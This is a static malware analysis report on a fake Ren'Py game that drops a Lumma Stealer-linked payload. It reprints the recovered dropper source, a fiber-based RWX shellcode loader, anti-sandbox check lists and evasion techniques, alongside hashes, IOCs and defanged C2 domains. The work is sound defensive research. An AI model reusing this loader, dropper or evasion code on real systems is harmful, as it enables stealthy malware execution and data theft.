This report documents the complete static analysis of a sophisticated multi-stage malware sample distributed through fake download links on a popular video game emulation website. The malware masquerades as a legitimate Ren’Py visual novel game and employs a six-stage kill chain involving anti-sandbox detection, XOR-encrypted payloads, Living-off-the-Land binaries (LOLBins), triple-encoded Python scripts, and in-memory shellcode execution via the Windows Fibers API. The entire attack chain was fully deobfuscated through static analysis alone, revealing the dropper source code, extraction methodology, encryption keys, and the final shellcode loader - without executing a single malware component.

Correlation with public threat intelligence confirmed this sample belongs to the RenEngine campaign distributing Lumma Stealer (LummaC2) via HijackLoader, as documented by Kaspersky, Offseq, and the CISA/FBI joint advisory AA25-141B. The SHA256 hash of Setup.exe is indexed in multiple sandbox platforms (ANY.RUN, FileScan.io) with confirmed detections.


Executive Summary

A malware sample (Setup.exe, SHA256: 7123e1514b939b165985560057fe3c761440a9fff9783a3b84e861fd2888d4ab) was obtained from a fake download link injected into a popular emulation website. The sample was delivered as a trojanized Ren’Py visual novel game - a complete game directory with assets, scripts, and an embedded Python 3.9 runtime.

Through purely static analysis on a non-virtualized Linux system, the complete attack chain was deobfuscated:

  1. Setup.exe (legitimate Ren’Py launcher) loads Python 3.9 and the game engine
  2. script.rpyc (compiled Ren’Py script inside archive.rpa) contains the dropper logic
  3. The planner/ package performs anti-sandbox checks (30+ VM indicators)
  4. The .key file contains the XOR encryption key (TqDLmrBbmyw) and target executable name
  5. resources.pak (8.2 MB) is XOR-decrypted into a ZIP containing Python 3.14 and a shellcode loader
  6. crepectl.exe (a renamed official pythonw.exe from CPython 3.14, signed by Microsoft) executes node_modules.asar
  7. The ASAR file is a triple-obfuscated Python script (reverse-base64-zlib-exec) that allocates RWX memory and executes 271KB of shellcode via the Windows Fibers API

The shellcode uses a self-decrypting XOR stub followed by ~194KB of encrypted payload, consistent with a Cobalt Strike, Havoc, or Sliver C2 beacon.


Sample Identification

Primary Sample

Field Value
Filename Setup.exe
File type PE32+ executable (GUI), x86-64, 7 sections
Size 104,448 bytes
SHA256 7123e1514b939b165985560057fe3c761440a9fff9783a3b84e861fd2888d4ab
Compiler MinGW-w64 (GCC)
Linker LLD (LLVM Linker)
PE Timestamp 2023-09-19 02:30:08 UTC
Entry Point 0x00001140
Subsystem Windows GUI (2)
Distribution Fake download link on popular emulation website

PE Section Table

Section VAddr VSize RawSize Entropy Flags
.text 0x1000 0x1C86 0x1E00 5.78 CODE|EXEC|READ
.rdata 0x3000 0x114C 0x1200 4.35 IDATA|READ
.buildid 0x5000 0x0035 0x0200 0.60 IDATA|READ
.data 0x6000 0x01BC 0x0200 1.43 IDATA|READ|WRITE
.pdata 0x7000 0x018C 0x0200 3.12 IDATA|READ
.tls 0x8000 0x0010 0x0200 0.00 IDATA|READ|WRITE
.rsrc 0x9000 0x15B38 0x15C00 7.72 IDATA|READ

The .rsrc section exhibits high entropy (7.72), containing a compressed PNG icon used as the visual lure.


Analysis Methodology

Constraints

All analysis was performed on a non-virtualized Linux host, meaning no Windows-specific dynamic analysis could be performed. The following restrictions were strictly observed:

  • No execution of any PE binary, Python script, or shellcode
  • No wine or Windows compatibility layer
  • Read-only operations: file, strings, xxd, sha256sum, Python3 for parsing binary structures
  • All deobfuscation was done through static byte manipulation

Tools Used

Tool Purpose
file File type identification
strings ASCII/Unicode string extraction
xxd Hex dump and binary inspection
sha256sum Hash computation
python3 (host) Binary structure parsing, XOR decryption, ZIP extraction, base64/zlib deobfuscation
grep / find Pattern searching across the malware tree

Approach

The analysis followed a depth-first deobfuscation strategy: starting from the outer layer (Setup.exe) and progressively peeling each layer of encryption, encoding, and compilation until reaching the final shellcode payload. Each stage was verified before proceeding to the next.


Stage 1: Initial Loader (Setup.exe)

Overview

Setup.exe is a legitimate Ren’Py game launcher compiled with MinGW-w64. Ren’Py is an open-source visual novel engine widely used for indie games. The launcher’s only purpose is to bootstrap the embedded Python 3.9 runtime and execute Setup.py, which in turn loads the Ren’Py engine.

Directory Structure

analisis/
├── Setup.exe                     # PE64 launcher (legitimate Ren'Py)
├── Setup.py                      # Ren'Py bootstrap script (legitimate)
├── data/
│   ├── .key                      # ⚠ Dropper configuration (43 bytes)
│   ├── archive.rpa               # Ren'Py archive (RPA-3.0, contains malicious scripts)
│   ├── resources.pak             # ⚠ XOR-encrypted payload (8.2 MB)
│   ├── gui/                      # Game GUI assets (lure)
│   └── python-packages/
│       └── planner/              # ⚠ Anti-sandbox module
│           ├── __init__.py       # Orchestrator (partially obfuscated)
│           ├── sandbox.py        # Sandbox detection engine
│           ├── specs.py          # Hardware specification checks
│           ├── file_system.py    # VM filesystem checks
│           └── internet_access.py # Network checks (disabled)
├── lib/
│   ├── py3-windows-x86_64/       # Python 3.9 runtime + DLLs
│   └── python3.9/                # Python 3.9 stdlib (700+ .pyc files)
│       ├── steamapi.pyc          # ⚠ Abnormally large Steam API binding (515 KB)
│       ├── pefile.pyc            # PE file parser (non-standard)
│       ├── ecdsa/                # Elliptic curve cryptography
│       ├── rsa/                  # RSA cryptography
│       ├── requests/             # HTTP library
│       └── urllib3/              # HTTP library
└── renpy/                        # Ren'Py engine (mostly legitimate)

Key Observations

  • Setup.py and the Ren’Py engine code are unmodified legitimate copies from the official Ren’Py distribution (copyright Tom Rothamel, 2004-2025).
  • The attack leverages Ren’Py’s architecture: game scripts in data/ are automatically loaded and executed, including compiled scripts from archive.rpa.
  • The data/python-packages/ directory is automatically added to sys.path by Ren’Py, allowing the planner package to be importable.
  • steamapi.pyc (515,775 bytes) is abnormally large compared to a typical Steam API binding (~50KB) and deliberately corrupted to prevent decompilation (bad marshal data). Its original source path is /home/tom/ab/renpy-build-fix/tmp/py3/steam/steamapi.py.
  • Non-standard packages bundled include: pefile, ecdsa, rsa, requests, urllib3, certifi, chardet, idna, pyasn1, ordlookup - a toolkit for network communication, cryptography, and PE manipulation.

Stage 2: Dropper Script (script.rpyc)

Extraction from archive.rpa

The game archive archive.rpa uses Ren’Py’s RPA-3.0 format:

Header: RPA-3.0 0000000000022d28 deadbeef
  • Index offset: 0x22d28 (142,632 bytes)
  • XOR key: 0xdeadbeef (standard RPA key)
  • Index format: zlib-compressed Python pickle

The index was decompressed and parsed (without executing pickle, by extracting the offset/length pairs directly), revealing four files:

File Offset Size
screens.rpyc 0x22 104,306 B
gui.rpyc 0x19794 25,910 B
script.rpyc 0x1FCCA 7,000 B
options.rpyc 0x21822 5,382 B

Parsing script.rpyc (RPC2 Format)

Ren’Py compiled scripts use the RENPY RPC2 binary format:

Bytes 0-9:   "RENPY RPC2" (magic)
Bytes 10-13: Slot number (uint32)
Bytes 14-17: Data offset within file (uint32)
Bytes 18-21: Data length (uint32)
Bytes 22-25: Slot 2 ...
...
4 zero bytes: End marker

Each slot contains a zlib-compressed Python pickle representing the game’s Abstract Syntax Tree (AST). Decompressing slot 1 of script.rpyc yielded 7,107 bytes of AST data containing embedded Python source code.

Recovered Dropper Source Code

The following complete source code was extracted from the AST string constants:

import struct as _st
import subprocess
import os
import io
import sys
import zipfile
import tempfile
from threading import Thread
from planner import is_sandboxed

def _xdm(filename, key):
    """XOR-decrypt a file with a rotating key"""
    with open(filename, 'rb') as f:
        ct = f.read()
    k = key.encode()
    return bytes([b ^ k[i % len(k)] for i, b in enumerate(ct)])

def _read_key(path):
    """Parse the binary .key configuration file"""
    with open(path, 'rb') as f:
        d = f.read()
    flags = d[0]
    fn_len, pw_len, ex_len = _st.unpack_from('<HHH', d, 1)
    off = 7
    fn = d[off:off+fn_len].decode(); off += fn_len
    pw = d[off:off+pw_len].decode(); off += pw_len
    ex = d[off:off+ex_len].decode(); off += ex_len
    sb = bool(flags & 1)
    return fn, pw, ex, sb

def extract_and_run():
    try:
        game_dir = config.gamedir
        archive_name, password, exec_file, sandbox = _read_key(
            os.path.join(game_dir, ".key"))
        
        if not sandbox:
            try:
                c = is_sandboxed(logging=False)
            except Exception:
                c = 1
            if c >= 0.5:
                exit(0)  # Abort if sandbox detected
        
        # Decrypt and extract payload
        run_dir = tempfile.mkdtemp()
        dec = _xdm(os.path.join(game_dir, archive_name), password)
        with zipfile.ZipFile(io.BytesIO(dec)) as z:
            if password:
                z.extractall(run_dir, pwd=password.encode())
            else:
                z.extractall(run_dir)
        
        exec_path = os.path.join(run_dir, exec_file)
        
        def _run():
            si = subprocess.STARTUPINFO()
            si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            si.wShowWindow = subprocess.SW_HIDE
            cf = subprocess.DETACHED_PROCESS | subprocess.CREATE_NEW_PROCESS_GROUP
            subprocess.Popen([exec_path, "node_modules.asar"],
                           cwd=run_dir, startupinfo=si,
                           creationflags=cf, close_fds=True)
            lp = os.path.join(run_dir, "log.exe")
            if os.path.exists(lp):
                subprocess.Popen([lp], cwd=run_dir, startupinfo=si,
                               creationflags=cf, close_fds=True)
        
        Thread(target=_run).start()
    except Exception:
        pass

# Auto-execution on game start
extract_and_run()

Key observations from the dropper code:

  • The payload is launched as a hidden, detached process (SW_HIDE, DETACHED_PROCESS) in a separate thread
  • A second payload (log.exe) is optionally executed if present - likely a keylogger or additional stealer component
  • The command line is: crepectl.exe node_modules.asar
  • All exceptions are silently swallowed to avoid alerting the user
  • The game simultaneously displays a fake “Installer Loading…” progress bar to distract the victim, then calls time.sleep(999999) followed by renpy.quit()

The fake loading bar is implemented as a Ren’Py screen with randomized timing to appear realistic:

def get_timer_speed():
    if progress < 10: return 0.1
    elif progress < 50: return random.uniform(0.5, 0.8)
    elif progress < 80: return random.uniform(0.3, 0.8)
    elif progress < 90: return random.uniform(1, 3)
    else: return random.uniform(10, 30)  # Slows down near 100%

Stage 3: Anti-Sandbox Module (planner/)

Overview

The planner/ package implements a comprehensive sandbox/VM detection system. Its __init__.py is partially obfuscated with variable name mangling (e.g., O0OO0OOOO0O00OO00, OOO0O000OO000OOOO).

Detection Checks

Hardware Specifications (specs.py)

Check Method Score (VM)
Hard drive size PowerShell Get-PSDrive / dir 0-5
RAM PowerShell Win32_ComputerSystem / /proc/meminfo 0-5
CPU logical cores PowerShell Win32_Processor / os.sched_getaffinity 0-5
BIOS serial number PowerShell Win32_BIOS 0-5
System model PowerShell Win32_ComputerSystem.Model 0 (definitive)
Manufacturer PowerShell Win32_ComputerSystem.Manufacturer 0 (definitive)

VM Detection Keywords

Models (30 entries): virtualbox, vmware, kvm, qemu, xen, hyperv, hyper-v, parallels, virtual platform, vm platform, vsphere, proxmox, citrix, oracle vm, bochs, virtual pc, cloud pc, shadow pc, amazon ec2, google compute engine, azure virtual machine, bhyve, virtual desktop, sandbox, etc.

Manufacturers (27 entries): innotek, vmware, qemu, xen, parallels, oracle, citrix, red hat, proxmox, amazon web services, google cloud, microsoft azure, virtualbox, docker, nutanix, cloud, vagrant, kubernetes, openstack, digital ocean, linode, vultr, ibm cloud, alibaba cloud, huawei cloud, tencent cloud, etc.

Filesystem Checks (file_system.py)

  • Registry keys: 10 VirtualBox/VMware-specific keys under HKLM
  • VM-specific files: 27 driver/DLL paths (VBox.sys, vm.sys, etc.)
  • VM processes: 12 known process names (vboxservice.exe, vmtoolsd.exe, qemu-ga.exe, etc.)
  • Sandbox users: wdagutilityaccount, vagrant, sandbox
  • User profile age: Checks account creation date for freshly-created analysis VMs

Scoring Algorithm

The _normalize() method uses a weighted scoring system:

def _normalize(self, values):
    vm_indicators = values.count(0)
    if vm_indicators > 0:
        return 0  # Any definitive VM indicator = abort
    
    # Weighted average with penalties
    suspicious_count = sum(1 for x in values if x <= 2)
    if suspicious_count >= 3: score -= 2   # Major penalty
    elif suspicious_count >= 2: score -= 1  # Moderate penalty
    elif suspicious_count == 1: score -= 0.5  # Minor penalty

The final score is converted to a percentage: is_sandboxed() returns >= 0.5 (50%+ chance of VM) to trigger abort.

Current Sample Configuration

In this sample, the .key file has flags = 0x01 (bit 0 set), which means the sandbox check is bypassed entirely. The dropper calls is_sandboxed() only when sandbox == False. This suggests the attacker prioritized broad infection over stealth against researchers.


Stage 4: Configuration File (.key)

Binary Format

The .key file (43 bytes) uses a custom binary format parsed by _read_key():

Offset  Size  Field              Value
------  ----  -----------------  ---------------------------
0x00    1     flags              0x01 (bit 0 = sandbox bypass)
0x01    2     fn_len (LE)        0x000D (13)
0x03    2     pw_len (LE)        0x000B (11)
0x05    2     ex_len (LE)        0x000C (12)
0x07    13    archive_filename   "resources.pak"
0x14    11    xor_password       "TqDLmrBbmyw"
0x1F    12    exec_filename      "crepectl.exe"

Hex dump:

00000000: 010d 000b 000c 0072 6573 6f75 7263 6573  .......resources
00000010: 2e70 616b 5471 444c 6d72 4262 6d79 7763  .pakTqDLmrBbmywc
00000020: 7265 7065 6374 6c2e 6578 65              repectl.exe

Parsing Insight

An initial analysis error read the XOR key as TqDLmrBbmywc (12 chars) because the field lengths are packed tightly with no delimiters. Re-parsing using the actual _read_key() logic from script.rpyc revealed the correct key is TqDLmrBbmyw (11 chars) and the executable is crepectl.exe (12 chars, with the ‘c’ belonging to the exec name, not the key). This was verified by successful ZIP extraction with the corrected key.


Stage 5: Encrypted Payload (resources.pak)

Decryption

The resources.pak file (8,269,566 bytes) is XOR-encrypted with the rotating key TqDLmrBbmyw:

key = b'TqDLmrBbmyw'
decrypted = bytearray()
for i, b in enumerate(encrypted):
    decrypted.append(b ^ key[i % len(key)])

The first 4 bytes of the decrypted output are PK\x03\x04 - a ZIP local file header.

ZIP Contents

The decrypted ZIP contains 18 files - a self-contained Python 3.14 runtime with a shellcode loader:

File Size (uncompressed) Description
node_modules.asar 370,089 B Shellcode loader (obfuscated Python)
crepectl.exe 103,256 B pythonw.exe (CPython 3.14, renamed)
python314.dll 5,875,032 B Python 3.14 runtime DLL
python314.zip 4,112,470 B Python 3.14 standard library
python3.dll 73,560 B Python 3 stable ABI shim
python.cat 594,323 B Microsoft Authenticode catalog
sqlite3.dll 1,297,752 B SQLite library
unicodedata.pyd 748,888 B Unicode data module
_ctypes.pyd 126,808 B ctypes FFI module (used for shellcode injection)
_asyncio.pyd 68,440 B Async I/O module
_hashlib.pyd 55,128 B Hashing module
_overlapped.pyd 47,448 B Windows overlapped I/O
_multiprocessing.pyd 33,624 B Multiprocessing module
libffi-8.dll 35,088 B Foreign function interface
_queue.pyd 32,088 B Queue module
select.pyd 30,552 B Socket select module
vcruntime140.dll 90,192 B MSVC runtime
python314._pth 80 B Search path configuration

crepectl.exe Analysis

PDB path:  D:\a\1\b\bin\win32\pythonw.pdb
Machine:   0x014C (i386 / x86-32)
Timestamp: 2026-02-03 15:56:52 UTC
SHA256:    8f5dcca6baf511ac49393dff90b4bb666274a7640ef3c79cb28aaeb81b7f4e52

This is the official pythonw.exe from CPython 3.14, built on Microsoft’s Azure DevOps CI (D:\a\1\b\... is the standard Azure Pipelines working directory) and signed with a Microsoft Authenticode certificate (verified by python.cat). The attacker merely renamed it to crepectl.exe - a classic Living off the Land Binary (LOLBin) technique.

The python314._pth file configures the search path:

python314.zip
.
# Uncomment to run site.main() automatically
#import site

When crepectl.exe is invoked with node_modules.asar as argument, Python 3.14 executes the ASAR file as a Python script.


Stage 6: Shellcode Loader (node_modules.asar)

Initial Structure

The file is a UTF-8 text file (370,089 bytes) containing a single Python expression:

def qcbgcbyi(xcxiaam):
    return __import__('zlib').decompress(
        __import__('base64').b64decode(xcxiaam[::-1]))

exec(qcbgcbyi(b'==AOvYfBA8f3w//3PtO/9/9D...'))

Deobfuscation Process

Layer 1 - String reversal: The base64 blob (369,960 chars) is stored reversed ([::-1]).

Layer 2 - Base64 decode: After reversal, standard base64 decoding produces 277,468 bytes.

Layer 3 - Zlib decompression: The decoded data is zlib-compressed; decompression yields 1,087,431 bytes of Python source code.

# Deobfuscation script used during analysis:
match = re.search(r"b'([A-Za-z0-9+/=\r\n]+)'", text)
b64_blob = match.group(1).replace('\r', '').replace('\n', '')
reversed_blob = b64_blob[::-1]
decoded = base64.b64decode(reversed_blob)
source = zlib.decompress(decoded).decode('utf-8')
# source = 1,087,431 bytes of Python code

Deobfuscated Shellcode Loader

The resulting Python code implements a classic shellcode injection pattern:

import os
import ctypes
from time import sleep

def SC_getPage(shellcode):
    """Allocate RWX memory via VirtualAlloc"""
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
    addr = ctypes.windll.kernel32.VirtualAlloc(
        ctypes.c_int(0),
        ctypes.c_int(len(shellcode)),
        ctypes.c_int(0x3000),    # MEM_COMMIT | MEM_RESERVE
        ctypes.c_int(0x40))      # PAGE_EXECUTE_READWRITE
    return addr

def SC_copy(addr, shellcode):
    """Copy shellcode to allocated memory"""
    buff = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
    ctypes.cdll.msvcrt.memcpy(
        ctypes.c_void_p(addr), buff, ctypes.c_int(len(shellcode)))

def SC_exec(addr):
    """Execute shellcode using Windows Fibers (EDR evasion)"""
    CreateFiber = ctypes.windll.kernel32.CreateFiber
    CreateFiber.argtypes = [ctypes.c_size_t, ctypes.c_void_p, ctypes.c_void_p]
    CreateFiber.restype = ctypes.c_void_p
    
    ConvertThreadToFiber = ctypes.windll.kernel32.ConvertThreadToFiber
    ConvertThreadToFiber.argtypes = [ctypes.c_void_p]
    ConvertThreadToFiber.restype = ctypes.c_void_p
    
    if ConvertThreadToFiber(ctypes.c_void_p(0)):
        fiber = CreateFiber(
            ctypes.c_size_t(0),
            ctypes.CFUNCTYPE(None)(addr),
            ctypes.c_void_p(0))
        if fiber:
            ctypes.windll.kernel32.SwitchToFiber(ctypes.c_void_p(fiber))

def run():
    if os.cpu_count() < 2:    # Anti-sandbox: skip on single-core VMs
        return
    sleep(5)                   # Timing evasion: 5-second delay
    
    shellcode = b"\x90\x90...(271,529 bytes)..."
    
    page = SC_getPage(shellcode)
    if not page:
        return
    SC_copy(page, shellcode)
    SC_exec(page)

run()

Technical Notes

  • Fiber-based execution: The use of CreateFiber/SwitchToFiber instead of CreateThread or CreateRemoteThread is a known EDR evasion technique. Fibers are user-mode scheduled execution contexts that don’t trigger kernel-level thread creation callbacks monitored by most endpoint protection.
  • RWX memory: VirtualAlloc with PAGE_EXECUTE_READWRITE (0x40) allocates memory that is both writable and executable, a common shellcode injection pattern.
  • CPU count check: os.cpu_count() < 2 aborts execution on single-core machines, which are common in automated sandbox environments.
  • Timing delay: The 5-second sleep() can bypass sandbox time acceleration and ensures the process is established before shellcode execution.

Stage 7: Final Shellcode

Shellcode Metrics

Field Value
Total size 271,529 bytes
NOP sled 77,776 bytes (\x90)
Payload 193,753 bytes
Architecture x86 (32-bit)
SHA256 (full) 3d0b3e7893d9a01934312711bf974941d9355afe81eec6767d8f01d3f7bda250
MD5 (full) fecbcdff500a4c3d15fc3eb75a49e482
SHA256 (payload only) c04bb1ad014a58a4eebc4abe5365a71b440c1ae63c53b23a660e95e0a5858294

Decoder Stub Disassembly

The shellcode begins with a self-decrypting XOR stub:

0000: 55              PUSH EBP           ; Save frame pointer
0001: 8D6424FC        LEA ESP,[ESP-0x4]  ; Manual stack push
0005: 891C24          MOV [ESP],EBX      ; Save EBX
0008: 8D6424FC        LEA ESP,[ESP-0x4]
000C: 893424          MOV [ESP],ESI      ; Save ESI
000F: 8D6424FC        LEA ESP,[ESP-0x4]
0013: 893C24          MOV [ESP],EDI      ; Save EDI
0016: FC              CLD                ; Clear direction flag
0017: 29C0            SUB EAX,EAX        ; EAX = 0
0019: 29DB            SUB EBX,EBX        ; EBX = 0
001B: 29C9            SUB ECX,ECX        ; ECX = 0
001D: 31FF            XOR EDI,EDI        ; EDI = 0
001F: EB3D            JMP SHORT +0x3D   ; Jump to decoder loop
; ... (XOR decoder loop decrypts the remaining payload at runtime)

The decoder uses LEA ESP,[ESP-0x4]; MOV [ESP],reg instead of PUSH reg - likely to avoid simple instruction-patching detection by AV engines.

Assessment

The 193KB payload size, x86 architecture, NOP sled, and XOR self-decrypting stub are highly consistent with:

  • Cobalt Strike beacon (staged or stageless)
  • Havoc C2 implant
  • Sliver shellcode implant
  • Mythic framework agents

The self-decrypting nature prevents static extraction of the final payload (C2 addresses, configuration, etc.) without emulation.


Anti-Analysis Techniques

Technique Implementation Stage
Visual lure Complete Ren’Py game with assets + fake loading bar 1
Anti-sandbox (comprehensive) 30+ VM checks: model, manufacturer, registry, files, processes, users 3
Anti-sandbox (lightweight) os.cpu_count() < 2 6
Timing evasion sleep(5) before shellcode execution 6
Hidden process SW_HIDE + DETACHED_PROCESS 2
Living off the Land Official pythonw.exe signed by Microsoft 5
Masquerading pythonw.execrepectl.exe 5
XOR encryption resources.pak encrypted with rotating key 4-5
Triple encoding reverse(base64) → b64decode → zlib → exec 6
Variable name obfuscation qcbgcbyi, xcxiaam, wylbzehsi 3, 6
Self-decrypting shellcode XOR decoder stub prevents static analysis 7
Fiber-based execution CreateFiber/SwitchToFiber instead of threads 6
RWX memory allocation VirtualAlloc with PAGE_EXECUTE_READWRITE 6
Large NOP sled 78KB of \x90 to pad the shellcode 7
Marshal corruption steamapi.pyc deliberately non-decompilable 1
Exception swallowing All dropper errors silently caught 2

Indicators of Compromise

File Hashes

File SHA256
Setup.exe (launcher) 7123e1514b939b165985560057fe3c761440a9fff9783a3b84e861fd2888d4ab
resources.pak (decrypted ZIP) da6bf8b537ef0c90fe15b7b904e13404b3e2304ee81109545b8b31ccf9706472
node_modules.asar (loader) 4237c65eae5b59aa577c6eda77c880911ef3ffd055576d8da571923407dcb515
crepectl.exe (pythonw.exe) 8f5dcca6baf511ac49393dff90b4bb666274a7640ef3c79cb28aaeb81b7f4e52
python314.dll 20d2e71df41ceb8a7d6f6c9777b7306deec91b74c2aa350d0ad02ebf5d7008ec
python314.zip ee641e97ca4a0f948308a4991662aa44907d5e92806bf04e1798105e7aa938e3
python3.dll 3e64f37a59274b8960c1d96b268934ed052eacfc885ce2ca85754c8ea80cf3f8
python.cat 64880fcba9d49351004e5b6fa2c3772b97326478d3da9fe0ca509a3b587ab41e
sqlite3.dll 8463bd44e8bf2bb0a5d1cb34ad483a7347a8eb50382c22f6870719fc4e2193cf
_ctypes.pyd 09ab59603da0f270c5807d5af756b7dcbfe795a7cf4cb1210d75e602df61f7fa
vcruntime140.dll bf33857f46e56ea7930c1eea25c5f7175a6aaa3df36bf8301a785e6ca726a0b9
Shellcode (full) 3d0b3e7893d9a01934312711bf974941d9355afe81eec6767d8f01d3f7bda250
Shellcode (payload only) c04bb1ad014a58a4eebc4abe5365a71b440c1ae63c53b23a660e95e0a5858294

Strings & Artifacts

Indicator Type
TqDLmrBbmyw XOR encryption key
crepectl.exe Renamed payload executable
node_modules.asar Shellcode loader filename
log.exe Secondary payload (if present)
/home/tom/ab/renpy-build-fix/ Attacker’s build environment path
D:\a\1\b\bin\win32\pythonw.pdb PDB path for crepectl.exe
qcbgcbyi Deobfuscation function name
Installer Loading... Fake progress bar text
python314._pth Python 3.14 search path config
0xdeadbeef RPA archive XOR key

File System Artifacts

Path Description
%TEMP%\tmp<random>\crepectl.exe Extracted payload executable
%TEMP%\tmp<random>\node_modules.asar Shellcode loader
%TEMP%\tmp<random>\python314.dll Python runtime
data\.key Dropper configuration
data\resources.pak XOR-encrypted payload archive
data\python-packages\planner\ Anti-sandbox module

LummaC2 Known C2 Domains (CISA/FBI AA25-141B)

The following 115 domains were published as LummaC2 IOCs by the FBI and CISA (November 2023 – May 2025). While historical, they serve as reference indicators for network log correlation:

Click to expand full domain list (115 domains) | Domain | TLD | |---|---| | `Pinkipinevazzey[.]pw` | .pw | | `Fragnantbui[.]shop` | .shop | | `Medicinebuckerrysa[.]pw` | .pw | | `Musicallyageop[.]pw` | .pw | | `stogeneratmns[.]shop` | .shop | | `wallkedsleeoi[.]shop` | .shop | | `Tirechinecarpet[.]pw` | .pw | | `reinforcenh[.]shop` | .shop | | `reliabledmwqj[.]shop` | .shop | | `Musclefarelongea[.]pw` | .pw | | `Forbidstow[.]site` | .site | | `gutterydhowi[.]shop` | .shop | | `Fanlumpactiras[.]pw` | .pw | | `Computeryrati[.]site` | .site | | `Contemteny[.]site` | .site | | `Ownerbuffersuperw[.]pw` | .pw | | `Seallysl[.]site` | .site | | `Dilemmadu[.]site` | .site | | `Freckletropsao[.]pw` | .pw | | `Opposezmny[.]site` | .site | | `Faulteyotk[.]site` | .site | | `Hemispheredodnkkl[.]pw` | .pw | | `Goalyfeastz[.]site` | .site | | `Authorizev[.]site` | .site | | `ghostreedmnu[.]shop` | .shop | | `Servicedny[.]site` | .site | | `blast-hubs[.]com` | .com | | `offensivedzvju[.]shop` | .shop | | `friendseforever[.]help` | .help | | `blastikcn[.]com` | .com | | `vozmeatillu[.]shop` | .shop | | `shiningrstars[.]help` | .help | | `penetratebatt[.]pw` | .pw | | `drawzhotdog[.]shop` | .shop | | `mercharena[.]biz` | .biz | | `pasteflawwed[.]world` | .world | | `generalmills[.]pro` | .pro | | `citywand[.]live` | .live | | `hoyoverse[.]blog` | .blog | | `nestlecompany[.]pro` | .pro | | `esccapewz[.]run` | .run | | `dsfljsdfjewf[.]info` | .info | | `naturewsounds[.]help` | .help | | `travewlio[.]shop` | .shop | | `decreaserid[.]world` | .world | | `stormlegue[.]com` | .com | | `touvrlane[.]bet` | .bet | | `governoagoal[.]pw` | .pw | | `paleboreei[.]biz` | .biz | | `calmingtefxtures[.]run` | .run | | `foresctwhispers[.]top` | .top | | `tracnquilforest[.]life` | .life | | `sighbtseeing[.]shop` | .shop | | `advennture[.]top` | .top | | `collapimga[.]fun` | .fun | | `holidamyup[.]today` | .today | | `pepperiop[.]digital` | .digital | | `seizedsentec[.]online` | .online | | `triplooqp[.]world` | .world | | `easyfwdr[.]digital` | .digital | | `strawpeasaen[.]fun` | .fun | | `xayfarer[.]live` | .live | | `jrxsafer[.]top` | .top | | `quietswtreams[.]life` | .life | | `oreheatq[.]live` | .live | | `plantainklj[.]run` | .run | | `starrynsightsky[.]icu` | .icu | | `castmaxw[.]run` | .run | | `puerrogfh[.]live` | .live | | `earthsymphzony[.]today` | .today | | `weldorae[.]digital` | .digital | | `quavabvc[.]top` | .top | | `citydisco[.]bet` | .bet | | `steelixr[.]live` | .live | | `furthert[.]run` | .run | | `featureccus[.]shop` | .shop | | `smeltingt[.]run` | .run | | `targett[.]top` | .top | | `mrodularmall[.]top` | .top | | `ferromny[.]digital` | .digital | | `ywmedici[.]top` | .top | | `jowinjoinery[.]icu` | .icu | | `rodformi[.]run` | .run | | `legenassedk[.]top` | .top | | `htardwarehu[.]icu` | .icu | | `metalsyo[.]digital` | .digital | | `ironloxp[.]live` | .live | | `cjlaspcorne[.]icu` | .icu | | `navstarx[.]shop` | .shop | | `bugildbett[.]top` | .top | | `latchclan[.]shop` | .shop | | `spacedbv[.]world` | .world | | `starcloc[.]bet` | .bet | | `rambutanvcx[.]run` | .run | | `galxnetb[.]today` | .today | | `pomelohgj[.]top` | .top | | `scenarisacri[.]top` | .top | | `jawdedmirror[.]run` | .run | | `changeaie[.]top` | .top | | `lonfgshadow[.]live` | .live | | `liftally[.]top` | .top | | `nighetwhisper[.]top` | .top | | `salaccgfa[.]top` | .top | | `zestmodp[.]top` | .top | | `owlflright[.]digital` | .digital | | `clarmodq[.]top` | .top | | `piratetwrath[.]run` | .run | | `hemispherexz[.]top` | .top | | `quilltayle[.]live` | .live | | `equatorf[.]run` | .run | | `latitudert[.]live` | .live | | `longitudde[.]digital` | .digital | | `climatologfy[.]top` | .top | | `starofliught[.]top` | .top | | `explorebieology[.]run` | .run | *Source: CISA/FBI Joint Advisory AA25-141B (May 21, 2025). STIX data: [AA25-141B STIX JSON](https://www.cisa.gov/sites/default/files/2025-05/AA25-141B-Threat-Actors-Deploy-LummaC2-Malware-to-Exfiltrate-Sensitive-Data-from-Organizations.stix_.json)*

MITRE ATT&CK Mapping

ID Technique Evidence
T1204.002 User Execution: Malicious File Disguised as visual novel game
T1036.005 Masquerading: Match Legitimate Name pythonw.execrepectl.exe
T1027.002 Software Packing Triple encoding + XOR shellcode
T1027.009 Embedded Payloads resources.pak inside game data
T1140 Deobfuscate/Decode Files XOR + reverse-base64-zlib chain
T1497.001 System Checks (VM/Sandbox) planner/ module (30+ checks)
T1059.006 Python Python 3.9 (dropper) + 3.14 (loader)
T1106 Native API VirtualAlloc, memcpy, CreateFiber
T1055.004 Asynchronous Procedure Call (Fiber) CreateFiber + SwitchToFiber
T1218 System Binary Proxy Execution Signed pythonw.exe as LOLBin
T1564.003 Hidden Window SW_HIDE + DETACHED_PROCESS
T1622 Debugger Evasion NOP sled, sleep(), cpu_count check
T1105 Ingress Tool Transfer ZIP extracted to %TEMP%
T1547 Boot/Logon Autostart (potential) log.exe secondary payload
T1071.001 Application Layer Protocol: HTTP LummaC2 POST-based C2 communication
T1082 System Information Discovery Username/hostname hashing (anti-researcher)
T1119 Automated Collection Browser credentials, cookies, crypto wallets
T1217 Browser Information Discovery Chromium/Mozilla profile enumeration

Considerations and Conclusions

Attack Sophistication Assessment

This malware demonstrates a high level of sophistication across multiple dimensions:

  • Social engineering: The use of a complete Ren’Py game as a distribution vehicle, combined with delivery through a trusted emulation website, creates a lure that some sleepy users would not question.
  • Defense evasion: The attack chain avoids writing executable code to disk (fileless execution via memory-only shellcode), uses Microsoft-signed binaries for execution, and employs fiber-based execution to evade EDR thread-monitoring heuristics.
  • Operational security: The attacker uses multiple layers of encryption and encoding, randomized variable names, and corrupted marshaled bytecode to hinder analysis.
  • Modularity: The .key file-based configuration system suggests this is a builder/framework where the attacker can swap payloads, keys, and executables without modifying the dropper code.

Confirmed Malware Family

Public threat intelligence correlation confirmed this sample:

  • SHA256 7123e1514b939b165985560057fe3c761440a9fff9783a3b84e861fd2888d4ab is indexed in ANY.RUN, FileScan.io, and VirusTotal with detections from multiple AV engines.
